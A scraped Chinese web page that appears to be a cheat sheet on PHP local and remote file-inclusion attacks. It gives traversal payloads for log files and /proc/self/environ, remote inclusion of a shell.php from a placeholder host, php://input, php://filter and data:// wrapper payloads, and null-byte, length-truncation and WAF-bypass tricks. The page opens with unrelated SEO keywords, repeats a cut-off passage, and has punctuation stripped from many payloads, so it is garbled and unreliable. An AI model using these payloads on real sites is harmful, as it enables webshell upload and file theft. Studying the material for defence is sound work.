开发网站的硬件成本,profile wordpress,2345王牌浏览器,网站的关键词本地文件包含
常见的文件包含漏洞的形式为 ?php include(inc/ . $_GET[file]); ? 考虑常用的几种包含方式为
同目录包含file.htaccess目录遍历?file…/…/…/…/…/…/…/…/…/var/lib/locate.db日志注入?file…/…/…/…/…/…/…/…/…/var/log/a…本地文件包含
常见的文件包含漏洞的形式为 ?php include(inc/ . $_GET[file]); ? 考虑常用的几种包含方式为
同目录包含file.htaccess目录遍历?file…/…/…/…/…/…/…/…/…/var/lib/locate.db日志注入?file…/…/…/…/…/…/…/…/…/var/log/apache/error.log利用/proc/self/environ
其中日志可以使用SSH日志或者Web日志等多种日志来源测试
远程文件包含
利用条件ini中allow_url_fopenOn默认开启和allow_url_includeOn默认关闭需要打开开启用户参数可控后台对文件包含没有过滤利用方式?filenamehttp://xx.xx.xx.xx/shell.php?filenamehttp://xx.xx.xx.xx/shell.php?codephpinfo();
触发Sink编辑
如 PHP中
include
在包含过程中出错会报错不影响执行后续语句
include_once
仅包含一次
require
在包含过程中出错就会直接退出不执行后续语句
require_once
绕过技巧编辑
常见的应用在文件包含之前可能会调用函数对其进行判断一般有如下几种绕过方式
url编码绕过
如果WAF中是字符串匹配可以使用url多次编码的方式可以绕过
特殊字符绕过
某些情况下读文件支持使用Shell通配符如 ?* 等url中 使用 ?# 可能会影响include包含的结果某些情况下unicode编码不同但是字形相近的字符有同一个效果
%00截断
几乎是最常用的方法条件是 magic_quotes_gpc 关闭而且php版本小于5.3.4。
长度截断
Windows上的文件名长度和文件路径有关。具体关系为从根目录计算文件路径长度最长为259个bytes。 msdn定义 #define MAX_PATH 260其中第260个字符为字符串结尾的 \0 而linux可以用getconf来判断文件名长度限制和文件路径长度限制。 获取最长文件路径长度getconf PATH_MAX /root 得到4096 获取最长文件名getconf NAME_MAX /root 得到255 那么在长度有限的时候././././ (n个) 的形式就可以通过这个把路径爆掉 在php代码包含中这种绕过方式要求php版本 php 5.2.8
伪协议绕过
远程包含: 要求 allow_url_fopenOn且 allow_url_includeOn payload为 ?file[http|https|ftp]/websec.wordpress.com/shell.txt 的形式PHP input: 把payload放在POST参数中作为包含的文件要求 allow_url_includeOnpayload为 ?filephp://input 的形式Base64: 使用Base64伪协议读取文件payload为 ?filephp://filter/convert.base64-encode/resourceindex.php的形式data: 使用data伪协议读取文件payload为 ?filedata://text/plain;base64,SSBsb3ZlIFBIUAo的形式要求 allow_url_includeOn
协议绕过
allow_url_fopen 和 allow_url_include 主要是针对 http ftp 两种协议起作用因此可以使用SMB、WebDav协议等方式来绕过限制。